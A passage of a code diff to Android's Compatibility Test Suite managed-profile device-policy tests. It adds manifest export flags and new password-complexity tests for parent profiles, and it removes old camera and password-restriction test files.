             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
 
-        <receiver android:name=".MissedCallNotificationReceiver">
+        <receiver android:name=".MissedCallNotificationReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
+                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION"/>
             </intent-filter>
         </receiver>
 
         <!-- Test receiver that's decleared direct boot aware. This is needed to make the test app
-             executable by instrumentation before device unlock -->
+                         executable by instrumentation before device unlock -->
         <receiver android:name=".ResetPasswordWithTokenTest$TestReceiver"
-          android:directBootAware="true" >
+             android:directBootAware="true"
+             android:exported="true">
           <intent-filter>
-            <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+            <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
           </intent-filter>
         </receiver>
 
-        <receiver android:name=".LockProfileReceiver">
+        <receiver android:name=".LockProfileReceiver"
+             android:exported="true">
           <intent-filter>
-            <action android:name="com.android.cts.managedprofile.LOCK_PROFILE" />
+            <action android:name="com.android.cts.managedprofile.LOCK_PROFILE"/>
           </intent-filter>
         </receiver>
 
-        <receiver android:name=".WipeDataReceiver">
+        <receiver android:name=".WipeDataReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.managedprofile.WIPE_DATA" />
-                <action android:name="com.android.cts.managedprofile.WIPE_DATA_WITH_REASON" />
+                <action android:name="com.android.cts.managedprofile.WIPE_DATA"/>
+                <action android:name="com.android.cts.managedprofile.WIPE_DATA_WITH_REASON"/>
             </intent-filter>
         </receiver>
 
         <service android:name=".NotificationListener"
-            android:exported="true"
-            android:label="Notification Listener"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:exported="true"
+             android:label="Notification Listener"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.managedprofile"
-                     android:label="Managed Profile CTS Tests"/>
+         android:targetPackage="com.android.cts.managedprofile"
+         android:label="Managed Profile CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java
new file mode 100644
index 0000000..eb3f9ee
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_LOW;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_MEDIUM;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+import static android.os.UserHandle.USER_SYSTEM;
+
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Process;
+import android.os.UserHandle;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+public class ActivePasswordSufficientForDeviceTest extends BaseManagedProfileTest {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+        mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+    }
+
+    public void testActivePsswordSufficientForDevice_notCallableOnProfileInstance() {
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_NoPolicy() {
+        assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_UnmetParentPolicy() {
+        mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertFalse(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_IrrelevantProfilePolicy() {
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_UnifiedPassword_BothPolicies() {
+        changeUserCredential("1234", null, USER_SYSTEM);
+        try {
+            mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_ALPHANUMERIC);
+            mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+
+            assertFalse(mDevicePolicyManager.isActivePasswordSufficient());
+            assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+        } finally {
+            mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_UNSPECIFIED);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            changeUserCredential(null, "1234", USER_SYSTEM);
+        }
+    }
+
+    //TODO: reinstate test once LockSettingsShellCommand allows setting password for profiles
+    // that have unified challenge b/176230819
+    private void toTestActivePsswordSufficientForDevice_SeparatePassword_BothPolicies() {
+        final int myUserId = UserHandle.getUserId(Process.myUid());
+        changeUserCredential("1234", null, USER_SYSTEM);
+        changeUserCredential("asdf12", "1234", myUserId); // This currently fails
+        try {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+
+            assertTrue(mDevicePolicyManager.isActivePasswordSufficient());
+            assertFalse(
+                    mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+        } finally {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            changeUserCredential(null, "1234", USER_SYSTEM);
+        }
+    }
+
+    private void changeUserCredential(String newCredential, String oldCredential, int userId) {
+        final String oldCredentialArgument = (oldCredential == null || oldCredential.isEmpty()) ? ""
+                : ("--old " + oldCredential);
+        if (newCredential != null && !newCredential.isEmpty()) {
+            String commandOutput = SystemUtil.runShellCommand(String.format(
+                    "cmd lock_settings set-password --user %d %s %s", userId, oldCredentialArgument,
+                    newCredential));
+            if (!commandOutput.startsWith("Password set to")) {
+                fail("Failed to set user credential: " + commandOutput);
+            }
+        } else {
+            String commandOutput = SystemUtil.runShellCommand(String.format(
+                    "cmd lock_settings clear --user %d %s", userId, oldCredentialArgument));
+            if (!commandOutput.startsWith("Lock credential cleared")) {
+                fail("Failed to clear user credential: " + commandOutput);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java
index 6a57e2e..e3523e3 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java
@@ -24,6 +24,8 @@
 import android.os.HandlerThread;
 import android.test.AndroidTestCase;
 
+import com.android.cts.devicepolicy.CameraUtils;
+
 
 public class CameraPolicyTest extends AndroidTestCase {
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraUtils.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraUtils.java
deleted file mode 100644
index 516e244..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraUtils.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.managedprofile;
-
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-
-/**
- * A util class to help open camera in a blocking way.
- */
-class CameraUtils {
-
-    private static final String TAG = "CameraUtils";
-
-    /**
-     * @return true if success to open camera, false otherwise.
-     */
-    public static boolean blockUntilOpenCamera(CameraManager cameraManager, Handler handler) {
-        try {
-            String[] cameraIdList = cameraManager.getCameraIdList();
-            if (cameraIdList == null || cameraIdList.length == 0) {
-                return false;
-            }
-            String cameraId = cameraIdList[0];
-            CameraCallback callback = new CameraCallback();
-            cameraManager.openCamera(cameraId, callback, handler);
-            return callback.waitForResult();
-        } catch (Exception ex) {
-            // No matter what is going wrong, it means fail to open camera.
-            ex.printStackTrace();
-            return false;
-        }
-    }
-
-    /**
-     * {@link CameraDevice.StateCallback} is called when {@link CameraDevice} changes its state.
-     */
-    private static class CameraCallback extends CameraDevice.StateCallback {
-
-        private static final int OPEN_TIMEOUT_SECONDS = 5;
-
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-
-        private AtomicBoolean mResult = new AtomicBoolean(false);
-
-        @Override
-        public void onOpened(CameraDevice cameraDevice) {
-            Log.d(TAG, "open camera successfully");
-            mResult.set(true);
-            if (cameraDevice != null) {
-                cameraDevice.close();
-            }
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onDisconnected(CameraDevice cameraDevice) {
-            Log.d(TAG, "disconnect camera");
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onError(CameraDevice cameraDevice, int error) {
-            Log.e(TAG, "Fail to open camera, error code = " + error);
-            mLatch.countDown();
-        }
-
-        public boolean waitForResult() throws InterruptedException {
-            mLatch.await(OPEN_TIMEOUT_SECONDS, TimeUnit.SECONDS);
-            return mResult.get();
-        }
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java
index e7eb682..83f19ff 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java
@@ -69,6 +69,11 @@
             Sets.newHashSet(
                     "com.android.cts.testapps.testapp3",
                     "com.android.cts.testapps.testapp4");
+    private static final Set<String> ALL_BUT_ONE_CROSS_PROFILE_PACKAGES =
+            Sets.newHashSet(
+                    "com.android.cts.testapps.testapp1",
+                    "com.android.cts.testapps.testapp2",
+                    "com.android.cts.testapps.testapp3");
 
     private static final UiAutomation sUiAutomation =
             InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -131,14 +136,17 @@
     }
 
     /**
-     * Sets each of the packages in {@link #ALL_CROSS_PROFILE_PACKAGES} as cross-profile. This can
+     * Sets {@code com.android.cts.testapps.testapp1} as cross-profile. This can
      * then be used for writing host-side tests. Note that the state is cleared after running any
      * test in this class, so this method should not be used to attempt to perform a sequence of
      * device-side calls.
+     * TODO (b/175017211): switch back to setting all packages in
+     * {@link #ALL_CROSS_PROFILE_PACKAGES} once the metric assertion logic in hostside can handle
+     * unordered metric entries.
      */
     public void testSetCrossProfilePackages_noAsserts() throws Exception {
         mDevicePolicyManager.setCrossProfilePackages(
-                ADMIN_RECEIVER_COMPONENT, ALL_CROSS_PROFILE_PACKAGES);
+                ADMIN_RECEIVER_COMPONENT, Sets.newHashSet("com.android.cts.testapps.testapp1"));
     }
 
     public void testSetCrossProfilePackages_firstTime_doesNotResetAnyAppOps() throws Exception {
@@ -209,9 +217,11 @@
 
     /**
      * Sets each of the packages in {@link #ALL_CROSS_PROFILE_PACKAGES} as cross-profile, then sets
-     * them again to {@link #SUBLIST_CROSS_PROFILE_PACKAGES}, with all app-ops explicitly set as
-     * allowed before-hand. This should result in resetting packages {@link
-     * #DIFF_CROSS_PROFILE_PACKAGES}. This can then be used for writing host-side tests.
+     * them again to {@link #ALL_BUT_ONE_CROSS_PROFILE_PACKAGES}, with all app-ops explicitly set as
+     * allowed before-hand. This should result in resetting package {@code
+     * com.android.cts.testapps.testapp4}. This can then be used for writing host-side tests.
+     * TODO (b/175017211): switch back to {@link #SUBLIST_CROSS_PROFILE_PACKAGES} once the metric
+     * assertion logic in hostside can handle unordered metric entries.
      */
     public void testSetCrossProfilePackages_resetsAppOps_noAsserts() throws Exception {
         mDevicePolicyManager.setCrossProfilePackages(
@@ -219,7 +229,7 @@
         explicitlySetInteractAcrossProfilesAppOps(MODE_ALLOWED);
 
         mDevicePolicyManager.setCrossProfilePackages(
-                ADMIN_RECEIVER_COMPONENT, SUBLIST_CROSS_PROFILE_PACKAGES);
+                ADMIN_RECEIVER_COMPONENT, ALL_BUT_ONE_CROSS_PROFILE_PACKAGES);
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
index bffcb00..7b7a818 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
@@ -1,10 +1,15 @@
 package com.android.cts.managedprofile;
 
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.testng.Assert.assertThrows;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -20,13 +25,21 @@
     private static final ComponentName FAKE_COMPONENT = new ComponentName(
             FakeComponent.class.getPackage().getName(), FakeComponent.class.getName());
 
-    public void testSetAndGetPasswordQuality_onParent() {
-        mParentDevicePolicyManager.setPasswordQuality(
-                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC_COMPLEX);
-        final int actualPasswordQuality =
-                mParentDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+    public void testSetAndGetRequiredPasswordComplexity_onParent() {
+       if (!mHasSecureLockScreen) {
+            return;
+        }
 
-        assertThat(actualPasswordQuality).isEqualTo(PASSWORD_QUALITY_NUMERIC_COMPLEX);
+        mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+        try {
+            final int actualPasswordComplexity =
+                    mParentDevicePolicyManager.getRequiredPasswordComplexity();
+
+            assertThat(actualPasswordComplexity).isEqualTo(PASSWORD_COMPLEXITY_HIGH);
+        } finally {
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(
+                    PASSWORD_COMPLEXITY_NONE);
+        }
     }
 
     public void testSetAndGetPasswordHistoryLength_onParent() {
@@ -51,7 +64,7 @@
         final int actualPasswordComplexity =
                 mParentDevicePolicyManager.getPasswordComplexity();
         assertThat(actualPasswordComplexity).isEqualTo(
-                DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+                PASSWORD_COMPLEXITY_NONE);
     }
 
     public void testSetAndGetPasswordExpirationTimeout_onParent() {
@@ -93,15 +106,47 @@
         assertThat(actualMaximumPasswordLength).isGreaterThan(0);
     }
 
-    public void testIsActivePasswordSufficient_onParent_isSupported() {
-        setPasswordQuality(PASSWORD_QUALITY_NUMERIC_COMPLEX);
-        assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+    public void testIsActivePasswordSufficient_onParent_setOnParent_isSupported() {
+        try {
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+        } finally {
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+        }
+    }
+
+    public void testIsActivePasswordSufficient_onParent_setOnProfile_isSupported() {
+        try {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+        } finally {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+        }
+    }
+
+    public void testSetPasswordQuality_onParent_isNotSupported() {
+        assertThrows(SecurityException.class,
+                () -> setPasswordQuality(PASSWORD_QUALITY_NUMERIC_COMPLEX));
     }
 
     private void setPasswordQuality(int quality) {
         mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, quality);
     }
 
+    public void testSettingPasswordQualityDoesNotAffectParent() {
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+        assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isTrue();
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC_COMPLEX);
+        try {
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isTrue();
+        } finally {
+            mDevicePolicyManager.setPasswordQuality(
+                    ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+        }
+    }
+
     public void testGetCurrentFailedPasswordAttempts_onParent_isSupported() {
         assertThat(mParentDevicePolicyManager.getCurrentFailedPasswordAttempts()).isEqualTo(0);
     }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
index ad534dd..6dca4ad 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
@@ -67,9 +67,12 @@
             .add("getPasswordExpiration")
             .add("getPasswordMaximumLength")
             .add("getPasswordComplexity")
+            .add("getRequiredPasswordComplexity")
+            .add("setRequiredPasswordComplexity")
             .add("setCameraDisabled")
             .add("getCameraDisabled")
             .add("isActivePasswordSufficient")
+            .add("isActivePasswordSufficientForDeviceRequirement")
             .add("getCurrentFailedPasswordAttempts")
             .add("getMaximumFailedPasswordsForWipe")
             .add("setMaximumFailedPasswordsForWipe")
@@ -97,6 +100,8 @@
             .add("getAccountTypesWithManagementDisabled")
             .add("setAccountManagementDisabled")
             .add("setDefaultSmsApplication")
+            .add("getPermittedInputMethods")
+            .add("setPermittedInputMethods")
             .build();
 
     private static final String LOG_TAG = "ParentProfileTest";
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java
deleted file mode 100644
index 8b7d16b..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java
+++ /dev/null
@@ -1,210 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.managedprofile;
-
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-
-/** Tests minimum password restriction APIs, including on parent profile instances. */
-public class PasswordMinimumRestrictionsTest extends BaseManagedProfileTest {
-
-    private static final int TEST_PASSWORD_LENGTH = 5;
-    private static final int TEST_PASSWORD_LENGTH_LOW = 2;
-    private static final String[] METHOD_LIST = {
-            "PasswordMinimumLength",
-            "PasswordMinimumUpperCase",
-            "PasswordMinimumLowerCase",
-            "PasswordMinimumLetters",
-            "PasswordMinimumNumeric",
-            "PasswordMinimumSymbols",
-            "PasswordMinimumNonLetter",
-            "PasswordHistoryLength"};
-
-    private DevicePolicyManager mParentDpm;
-    private int mCurrentAdminPreviousPasswordQuality;
-    private int mParentPreviousPasswordQuality;
-    private List<Integer> mCurrentAdminPreviousPasswordRestriction = new ArrayList<Integer>();
-    private List<Integer> mParentPreviousPasswordRestriction = new ArrayList<Integer>();
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
-        mCurrentAdminPreviousPasswordQuality =
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
-        mParentPreviousPasswordQuality = mParentDpm.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        for (String method : METHOD_LIST) {
-            mCurrentAdminPreviousPasswordRestriction
-                    .add(invokeGetMethod(method, mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT));
-            mParentPreviousPasswordRestriction
-                    .add(invokeGetMethod(method, mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    mCurrentAdminPreviousPasswordRestriction.get(i));
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    mCurrentAdminPreviousPasswordRestriction.get(i));
-        }
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                mCurrentAdminPreviousPasswordQuality);
-        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, mParentPreviousPasswordQuality);
-        super.tearDown();
-    }
-
-    public void testPasswordMinimumRestriction() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + 2 * i);
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(
-                    getMethodName(METHOD_LIST[i])
-                            + " failed to get expected value on mDevicePolicyManager.",
-                    TEST_PASSWORD_LENGTH + i, invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(
-                    getMethodName(METHOD_LIST[i]) + " failed to get expected value on mParentDpm.",
-                    TEST_PASSWORD_LENGTH + 2 * i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    public void testSetPasswordMinimumRestrictionWithNull() {
-        // Test with mDevicePolicyManager.
-        for (String method : METHOD_LIST) {
-            try {
-                invokeSetMethod(method, mDevicePolicyManager, null, TEST_PASSWORD_LENGTH);
-                fail("Exception should have been thrown for null admin ComponentName");
-            } catch (Exception e) {
-                if (!(e.getCause() instanceof NullPointerException)) {
-                    fail("Failed to execute set method: " + setMethodName(method));
-                }
-                // Expected to throw NullPointerException.
-            }
-        }
-
-        // Test with mParentDpm.
-        for (String method : METHOD_LIST) {
-            try {
-                invokeSetMethod(method, mParentDpm, null, TEST_PASSWORD_LENGTH);
-                fail("Exception should have been thrown for null admin ComponentName");
-            } catch (Exception e) {
-                if (!(e.getCause() instanceof NullPointerException)) {
-                    fail("Failed to execute set method: " + setMethodName(method));
-                }
-                // Expected to throw NullPointerException.
-            }
-        }
-    }
-
-    public void testGetPasswordMinimumRestrictionWithNullAdmin() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            // Check getMethod with null admin. It should return the aggregated value (which is the
-            // only value set so far).
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH_LOW + i);
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-
-            // Set strict password minimum restriction using parent instance.
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-
-            // Set strict password minimum restriction on current admin.
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            // Set password minimum restriction using parent instance.
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH_LOW + i);
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
